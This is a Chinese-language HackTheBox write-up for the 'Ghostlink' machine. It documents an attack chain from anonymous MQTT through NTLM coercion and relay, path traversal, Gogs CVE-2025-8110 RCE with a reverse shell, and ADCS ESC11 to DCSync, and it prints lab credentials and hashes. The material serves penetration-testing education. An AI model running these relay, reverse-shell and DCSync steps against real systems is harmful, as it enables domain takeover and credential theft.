Ghostlink HTB

Ghostlink HTB
CH0ico靶机信息
| 项目 | 值 |
|---|---|
| 初始 IP | 10.129.27.98 (重置后 10.129.54.100) |
| 域名 | ghostlink.htb |
| DC 主机名 | dc01.ghostlink.htb |
| CA / SecureShare | gpz-op26-secure.ghostlink.htb (172.16.20.10) |
| Gogs | gpz-op26-toolkits.ghostlink.htb (172.16.20.20) |
| OS | Windows Server (DC) + Linux (Gogs 容器) |
| 难度 | Hard |
01.攻击机环境
| 阶段 | 机器 | IP |
|---|---|---|
| 前期 (Mac + VPN) | 本地 MacBook + OpenVPN | 10.10.16.245 (utun5) |
| 后期 (Pwnbox) | HTB 云 Pwnbox + SSH | 10.10.15.71 (tun0) |
攻击链全景
1 | MQTT 匿名订阅 (发现内部节点 & 健康检查机制) |
全部凭证汇总
| 用户 | 密码 / Hash | 来源 | 权限 |
|---|---|---|---|
| svc_canary | NTLMv2 (不可破解) | MQTT (NTLM 强制认证) | SecureShare 应用访问 |
| vroth | mOo03jpsqx8JQYMBwvFP | KeePass DB (db.kdbx) | Gogs Web 登录 |
| nvirelli | u47YUclrDiwWxBheaSzI | Gogs SQLite DB (hashcat) | 域用户 + Gogs 本地用户 |
| DC01$ | 707cccd9bfc31d8507be6682448f670c | ADCS ESC11 中继 (certipy auth) | DC 机器账户 |
| Administrator | 8190e067f478002ddd63eb209b016696 | DCSync 通过 DC01$ | 域管理员 |
01.root.txt
1 | 802c7d0c831307fb116a248e19c9abda |
一:信息搜集与 MQTT 入口
01.端口扫描
1 | sudo nmap -sT -sV -sC -O -p 53,80,88,135,139,389,445,636,1883,3268,3269,5985 10.129.27.98 |
标准 Windows DC 端口之外,最引人注目的是 1883/tcp (MQTT)。在域控制器上运行 MQTT broker 极不寻常,这本身就是强烈信号:MQTT 承担了某种应用层集成角色。
02.MQTT 匿名枚举
1 | mqttui -b mqtt://ghostlink.htb r "GhostProtocolZero/#" |
不需要任何认证即可订阅所有主题。这个设计缺陷是整条攻击链的第一个关键突破口。
健康检查消息(周期性发布):
1 | GhostProtocolZero/systems/node/repository/healthcheck |
由此确认内部网络拓扑:
- 172.16.20.10: SecureShare 应用(同时也是 ADCS CA)
- 172.16.20.20: Gogs 代码托管
- DC 作为反向代理,将外部请求路由到内部服务
03.Gogs 版本指纹
Gogs 页面源码中的资源哈希直接暴露了 commit:
1 | <link rel="stylesheet" href="/css/gogs.min.css?v=5084b4a9b77a506f5e287e82e945e1c6882b827a"> |
对应版本 0.13.3,已知存在 CVE-2025-8110(认证后 RCE)。
04.反思:MQTT 的关键性
MQTT 在这个靶机中扮演了信息泄露的核心角色。开发者在设计健康检查机制时,只是监控内部节点状态,却没想到 url 字段可以被外部攻击者篡改,进而触发 NTLM 认证。任何接受外部输入并触发 HTTP 请求的机制,都是一枚潜在的 SSRF/NTLM coercion 炸弹。
二:MQTT 到 NTLM 强制认证与 HTTP 中继
01.原理
健康检查主题的 telemetry.url 字段会被后端定期访问。如果把 URL 改成攻击机的 HTTP 服务器地址,后端就会向攻击机发起 HTTP 请求,带上 Windows 集成认证的 NTLM 凭据。
02.攻击步骤
步骤一:启动 ntlmrelayx HTTP 中继 + SOCKS
1 | ntlmrelayx.py -t http://gpz-op26-secure.ghostlink.htb \ |
- –keep-relaying: 允许同一凭据多次中继
- –socks: 启动 SOCKS 代理,让浏览器可以通过中继后的会话访问目标应用
步骤二:篡改 MQTT 健康检查
1 | mqttui -b mqtt://ghostlink.htb publish -r \ |
步骤三:中继成功
后端 svc_canary 用户向 ntlmrelayx 发起 NTLM 认证,ntlmrelayx 将凭据中继到 SecureShare 应用。成功后在本地启动 SOCKS 代理(127.0.0.1:1080)。浏览器配置 SOCKS 代理后即可以 svc_canary 身份访问 SecureShare。
03.反思:为什么不是 Responder
Responder 只能捕获 NTLMv2 hash,而 svc_canary 的密码强度较高,不可破解。NTLM 中继才是正确的方向——与其破解密码,不如直接’借用’认证。
三:双重 URL 编码路径遍历到 KeePass
01.漏洞原理
SecureShare 是一个 .NET 应用,下载端点 /api/download/{hash} 存在双重 URL 编码路径遍历:
1 | // 伪代码 |
关键点:
- IIS 在请求到达应用前会做第一次 URL 解码
- 应用代码再调用 UrlDecode() 做第二次解码
- Path.Combine() 没有校验路径是否逃逸出 uploads
所以 %252e%252e%255c 经过 IIS 变成 %2e%2e%5c,经过应用层变成 ..\。
02.UNC 路径扩展
Windows 的 Path.Combine() 最危险的行为:接受绝对路径和 UNC 路径。即使 base path 是 uploads,传入 \127.0.0.1\C$... 也会完全忽略 base path,直接读取任意文件。
1 | # UNC 路径 LFI(双重编码) |
确认了主机名为 GPZ-OP26-SECURE,加入 ghostlink.htb 域。
03.NTUSER.DAT 到 KeePass
从 svc_canary 的注册表配置单元开始:
1 | # 下载 NTUSER.DAT |
输出揭示了关键线索:
1 | RecentDocs\.zip |
这是一个经典的 shellbag / RecentDocs 取证思路。用户最近打开的 .zip 文件被记录在注册表中,即使文件本身不直接可读。
路径链:
- NTUSER.DAT 到 RecentDocs.zip 到 db.zip
- db.zip.lnk (快捷方式) 揭示实际路径 C:\Users\svc_canary\Documents\Operations\Management\db.zip
- db.zip 到 db.kdbx + .key.keyx (KeePass 数据库 + 密钥文件)
KeePass 数据库的回收站中包含 passpol.pdf(域密码策略:最小 20 字符),有效条目中有 vroth 的 Gogs 凭据。
04.反思:LFI 的深度利用
LFI 本身不难找到——双重编码路径遍历是常见的 .NET + IIS 组合漏洞。真正难的是’读什么’。PowerShell 历史、配置文件、DLL 源码都读了,但都没有直接凭据。NTUSER.DAT 这个思路才是真正的转折点——它不仅给了文件路径线索,更是利用了 Windows 取证分析的方法论。日常渗透中,用户注册表配置单元往往被忽视,但它包含 RecentDocs、TypedPaths、RunMRU 等极其丰富的用户行为数据。
四:Gogs CVE-2025-8110 RCE
01.漏洞机制
CVE-2025-8110 的核心原理:
- 创建 Git 仓库,放入指向 .git/config 的 symlink
- 通过 Gogs API 更新 symlink 内容
- Gogs 在更新时没有正确解析 symlink 目标,导致覆盖了仓库的实际 .git/config
- 攻击者在 .git/config 中注入 sshCommand
- 当 Gogs 执行任何 git 操作(clone/push/pull)时,sshCommand 被执行
1 | [core] |
02.PoC 执行
1 | python3 poc.py -u http://gpz-op26-toolkits.ghostlink.htb -lh 10.10.15.71 -lp 6666 |
以 git 用户身份获得反向 shell,工作目录在 Gogs 的仓库存储路径。
03.Gogs DB 到 nvirelli
从 gogs.db (SQLite) 提取用户哈希:
1 | sqlite3 gogs.db "SELECT name,salt,passwd FROM user" |
转换为 hashcat 格式后,用裁剪版 rockyou(>=20 字符,匹配 KeePass 中发现的密码策略)破解:
1 | grep -E '.{20,}$' /usr/share/wordlists/rockyou.txt > trimmed.txt |
得到 nvirelli 密码,该用户同时是 Linux 本地用户和域用户。
04.反思:Gogs RCE 的坑
- /dev/tcp 不可靠:Linux 容器可能未启用 bash 的 /dev/tcp 虚拟文件系统。备选方案包括 nc -e /bin/sh(需 nc 支持 -e)或 Python 反向 shell。
- post-commit hook 不触发:Gogs 使用 bare repository 操作,post-commit hook 不会执行。
- PoC 的复用性问题:旧 session 的 poisoned repo 会持续触发命令执行(curl 回连确认),但新创建的 repo 的 symlink 有时不会被 overwrite。这说明触发条件可能受仓库状态影响。
五:ADCS ESC11 域控接管
01.AD 枚举确认漏洞
通过 nvirelli 域用户 + chisel SOCKS 代理在内网枚举:
1 | proxychains -q certipy-ad find \ |
发现:
- CA 名称:ghostlink-GPZ-OP26-SECURE-CA
- CA 服务器:gpz-op26-secure.ghostlink.htb (172.16.20.10)
- ESC8:Web Enrollment 端点启用 HTTP(可通过 HTTP 中继申请证书)
- ESC11:ICPR (RPC) 请求未强制加密
02.ESC11 存在的判断依据
在直接假设 ESC11 之前,通过以下证据链确认:
- CA 与 SecureShare 共享主机(172.16.20.10):MQTT 健康检查和 certipy 枚举都确认了这一点
- certipy-ad find 的扫描结果明确标注 ESC11 漏洞:ICPR 的 EnforceEncryption 未启用
- DomainController 模板存在且允许机器账户注册:DC 机器账户 (DC01$) 可以申请
- nvirelli 有 SMB 认证能力:该域用户可以通过 SMB 协议向 DC 发起 RPC 调用(coercer 验证通过)
ESC11 的核心:ADCS 的 ICPR (ICertPassage Remote) 协议用于远程证书请求。当 IF_ENFORCEENCRYPTION 标志未设置时,RPC 通信以明文进行。攻击者可以通过 NTLM 中继,将 DC 的机器账户认证中继到 CA,以 DC 身份申请 DomainController 模板证书。
03.Chisel 隧道与 SOCKS
由于 CA 在内部网络(172.16.20.10),需要通过 Gogs 机器做跳板:
1 | # Pwnbox 上启动 chisel server |
端口映射:
- Pwnbox:10445 到 CA:445(SMB,用于直接端口转发测试)
- Pwnbox:1080 到 SOCKS5 代理(用于 proxychains)
04.核心踩坑:SOCKS vs 直接端口转发
失败的尝试(一):certipy-ad relay + chisel 端口转发
1 | certipy-ad relay \ |
结果:certipy relay 输出空白,无任何连接日志。tcpdump 确认 DC 的 SYN 包到达了 Pwnbox 445,但 certipy 完全没有响应。
诊断:
- 用 Python 简单 TCP listener 验证:DC 确实连接到了 445,发送了空数据后断开
- 这意味着 certipy 的 SMB server 实现没有正确处理 DC 发起的 SMB 握手
失败的尝试(二):ntlmrelayx + chisel 端口转发
1 | sudo ntlmrelayx.py \ |
结果:
1 | [*] (RPC): Received connection from 10.129.54.100, attacking target rpc://127.0.0.1:10445 |
DC 连接成功,入站 SMB 握手完成,但在将 NTLM 令牌中继到 CA 时失败。
根因分析:
chisel 的原始 TCP 端口转发 (R:10445:172.16.20.10:445) 在 SMB 协议层面存在问题。SMB 的 NTLMSSP 协商是一个多轮交互过程,涉及 Type 1 / Type 2 / Type 3 消息的精确时序。chisel 的 WebSocket 隧道 + TCP 转发在这种场景下引入了微妙的时序偏差或数据包分片问题,导致 NTLM 协商在第三阶段失败(STATUS_LOGON_FAILURE 或连接中断)。
成功方案:proxychains + ntlmrelayx + chisel SOCKS
1 | # /etc/proxychains4.conf |
关键差异:
- 目标地址从 127.0.0.1:10445 改为 172.16.20.10(直接通过 SOCKS 解析)
- 出站流量走 SOCKS5 而不是原始 TCP 转发
- SOCKS 提供了标准的 TCP 流抽象,SMB 协议在 SOCKS 上运行稳定
输出:
1 | [*] (RPC): Received connection from 10.129.54.100, attacking target rpc://172.16.20.10 |
教训:
对于 SMB/NTLM 中继场景,SOCKS 代理优于原始 TCP 端口转发。这不是理论推断,而是实战验证。chisel 的 R:port:host:port 模式适合简单的 HTTP/TCP 连接,但 SMB 协议的复杂协商过程需要更可靠的 TCP 层抽象。如果使用 SSH 隧道 (-L/-R),可能也会有类似问题;sshuttle 或 SOCKS 是这类场景的更好选择。
隧道技术选型对比:
1 | SMB 中继稳定性 |
05.DC 强制认证 (Coercion)
1 | coercer coerce \ |
MS-RPRN (打印机服务) 的 RpcRemoteFindFirstPrinterChangeNotification 方法强制 DC 向攻击机发起 SMB 连接。
注意:coercer 输出 NO_AUTH_RECEIVED 不代表 DC 没有连接。这个状态是 coercer 自身的判断,在某些情况下(尤其是网络延迟或 SMB 握手慢时)可能出现假阴性。应以 ntlmrelayx 的日志为准。
06.PFX 到 DC01$ NTLM
1 | # 时间同步(Kerberos 要求) |
输出:
1 | [*] Got hash for 'dc01$@ghostlink.htb': |
07.DCSync 到 Administrator
1 | secretsdump.py -hashes :707cccd9bfc31d8507be6682448f670c \ |
DC 机器账户拥有 DS-Replication-Get-Changes 权限,可以执行 DCSync 攻击,导出任意域用户的哈希。
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:8190e067f478002ddd63eb209b016696::: |
08.Evil-WinRM 到 root.txt
1 | echo "type C:\Users\Administrator\Desktop\root.txt" | \ |
1 | 802c7d0c831307fb116a248e19c9abda |
六:全面复盘与踩坑全景
01.第一轮失败原因分析
| 问题 | 现象 | 根因 | 教训 |
|---|---|---|---|
| 445 入站不通 | DC 不回连 445,tcpdump 零 SYN 包 | 本地 Mac 的 CuteCloud/FlClash 代理拦截了 445 入站流量。即使关闭代理,路由表可能仍残留 | 渗透前清理所有代理软件,ip route 检查,或直接用 Pwnbox |
| certipy relay 无响应 | certipy 收到连接但不处理 SMB | certipy relay 的 SMB server 实现可能与 DC 的 SMB 版本不兼容 | certipy 适合简单场景;生产级 SMB 中继用 impacket/ntlmrelayx |
| chisel TCP 转发不稳定 | NTLM relay 协商失败 | chisel 原始端口转发对 SMB 多轮协商支持差 | SOCKS 优于 TCP forward |
| coercer 假阴性 | NO_AUTH_RECEIVED 但 DC 确实连接了 | coercer 的超时判断逻辑与 ntlmrelayx 的实际握手不同步 | 以 relay 端日志为准 |
| nc stdin 交互问题 | 反向 shell 拿到但无法输入命令 | nc 的 stdin 是 /dev/null 或 pipe 未正确打开 | 用 screen + stuff 或 Python listener 代替裸 nc |
02.Pwnbox 的救场
本地 Mac + VPN 的方式在入站 445 遇到致命问题后,切换到 HTB Pwnbox 解决了核心连通性问题:
- Pwnbox 在 HTB 云内,与靶机同属 VPN 网络,入站 445 无拦截
- 预装了完整工具链(impacket, certipy, chisel, coercer, hashcat)
- SSH 控制 + screen 多会话管理,比以往的单终端操作高效得多
03.工具链关键技巧
- screen + hardcopy + stuff:在无 TTY 的反向 shell 中,这是唯一可靠的交互方式
- proxychains -q 模式:静默模式避免污染 relay 输出
- ntlmrelayx –no-http-server –no-wcf-server –no-raw-server:减少端口冲突
- coercer –always-continue:即使第一个方法返回 NO_AUTH_RECEIVED 也继续尝试其他方法(MS-EFSR, MS-DFSNM 等)
04.靶机教育价值
Ghostlink 是一个设计出色的 Hard 难度靶机:
- MQTT 不是隐藏入口:它就在 1883 端口,但需要攻击者理解发布-订阅模型
- LFI 的难点不在于发现,而在于利用:读 NTUSER.DAT 需要 Windows 取证思维
- ADCS ESC11 不是孤立漏洞:需要内网隧道 + NTLM 中继 + 强制认证的完整配合
- 隧道技术是分水岭:SOCKS vs 端口转发的选择直接决定了最后一环的成败
05.一句话总结
如果你的 relay 一直 Negotiating NTLM failed,试试 SOCKS。
附录
1 | Project/HackTheBox/Ghostlink/ |








